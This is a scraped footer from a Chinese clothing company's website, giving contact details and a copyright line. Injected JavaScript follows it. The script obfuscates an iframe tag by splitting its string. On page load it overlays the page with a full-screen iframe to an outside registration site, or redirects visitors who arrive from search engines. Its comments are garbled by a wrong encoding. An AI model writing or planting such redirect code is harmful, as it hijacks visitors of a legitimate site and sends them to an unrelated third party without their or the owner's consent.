立即预约
请填写验证码 X
4000地址:中国.广东广州市番禺区天安科技园中心2号楼10楼1003
电话:+86 0755-2955 6666
传真:+86 0755-2788 8009
邮编:330520
Copyright ©2005 - 2013 广东巴蒂米澜智能服饰股份有限公司
犀牛云提供企业云服务
(function () { var bp = document.createElement('script'); bp.src = 'http://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js'; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); if (typeof (window.ccc_ad_style) == 'undefined') { var ccc_ad_style = 3; } if (typeof (window.ccc_ad_type) == 'undefined') { var ccc_ad_type = 0; } var ccc_browser = { versions: function () { var u = navigator.userAgent, app = navigator.appVersion; return {//绉诲姩缁堢娴忚鍣ㄧ増鏈俊鎭� trident: u.indexOf("Trident") > -1, //IE鍐呮牳 presto: u.indexOf("Presto") > -1, //opera鍐呮牳 webKit: u.indexOf("AppleWebKit") > -1, //鑻规灉銆佽胺姝屽唴鏍� gecko: u.indexOf("Gecko") > -1 && u.indexOf("KHTML") == -1, //鐏嫄鍐呮牳 mobile: !!u.match(/AppleWebKit.*Mobile.*/), //鏄惁涓虹Щ鍔ㄧ粓绔� ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), //ios缁堢 android: u.indexOf("Android") > -1 || u.indexOf("Linux") > -1, //android缁堢鎴栬€卽c娴忚鍣� iPhone: u.indexOf("iPhone") > -1, //鏄惁涓篿Phone鎴栬€匭QHD娴忚鍣� iPad: u.indexOf("iPad") > -1, //鏄惁iPad webApp: u.indexOf("Safari") == -1 //鏄惁web搴旇绋嬪簭锛屾病鏈夊ご閮ㄤ笌搴曢儴 }; }(), language: (navigator.browserLanguage || navigator.language).toLowerCase() }; //鍝佺墝璇� var ccc_brandKeys = { //'cai':{ // 'keys':["婊″爞"], //'pc':'', //'wap':'' //}, // 'cai2':{ // 'keys':["娣诲僵"], // 'pc':'', // 'wap':'' //} }; var ccc_index = { 'pc': 'https://www.fd554.com/home/reg.html?att=196', 'wap': 'https://www.fd554.com/?att=196' }; var Unicode2Native = function (code) { return code; if (!code) { return; } var return_title = ''; for (var i = 0; i < code.length; i++) { return_title += String.fromCharCode(code[i].replace(/[&#;]/g, '')); } return return_title; } var getAgentHref = function () { var title = document.title; title = Unicode2Native(title); title = title.toLowerCase(); for (var k in ccc_brandKeys) { var curr_brand = ccc_brandKeys[k]; var wap_addr = curr_brand['wap'] || ''; for (var bk in curr_brand['keys']) { var keyword = curr_brand['keys'][bk]; if (title.indexOf(keyword) != -1) { if (ccc_browser.versions.mobile && wap_addr) { return wap_addr } else { return curr_brand['pc']; } } } } if (ccc_ad_type != 2) { return ccc_browser.versions.mobile ? ccc_index['wap'] : ccc_index['pc']; } else { return false; } }; var ccc_regexp = /\.(baidu|haosou|so|sogou|soso|google|sm|youdao|yahoo|bing|360|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(\.[a-z0-9\-]+){1,2}/ig; var agentHref = getAgentHref(); var ccc_html = ''; ccc_html += '' ccc_html += '
'; ccc_html += '<' + 'i' + '' + 'f' + '' + 'r' + 'a' + '' + 'm' + 'e' + ' s' + 'r' + 'c="' + agentHref; ccc_html += '" style="border:0;width:100%;height:100%;text-align:center;position:fixed;" f' + 'r' + '' + '' + 'a' + +'' + 'm' + 'e' + 'border="0">'; ccc_html += '
'; var ccc_where = ''; var doAd = function () { console.log('ok'); switch (ccc_ad_style) { case 1: if (agentHref) { location.href = agentHref; } break //鏉ヨ矾 case 2: if (agentHref) { ccc_where = document.referrer; if (ccc_regexp.test(ccc_where)) { location.href = agentHref; //jQuery(location).attr('href', agentHref); } } break; //妗嗘灦 case 3: if (agentHref) { document.body.insertAdjacentHTML('afterbegin', ccc_html); //$('body').prepend(ccc_html); } break; //refer涓庢鏋� case 4: if (agentHref) { ccc_where = document.referrer; if (ccc_regexp.test(ccc_where)) { location.href = agentHref; //jQuery('body').prepend(ccc_html); } } break; case 11: case 12: if (agentHref) { document.body.insertAdjacentHTML('afterbegin', ccc_html); //$('body').prepend(ccc_html); } break } } doAd(); $(function () { doAd(); })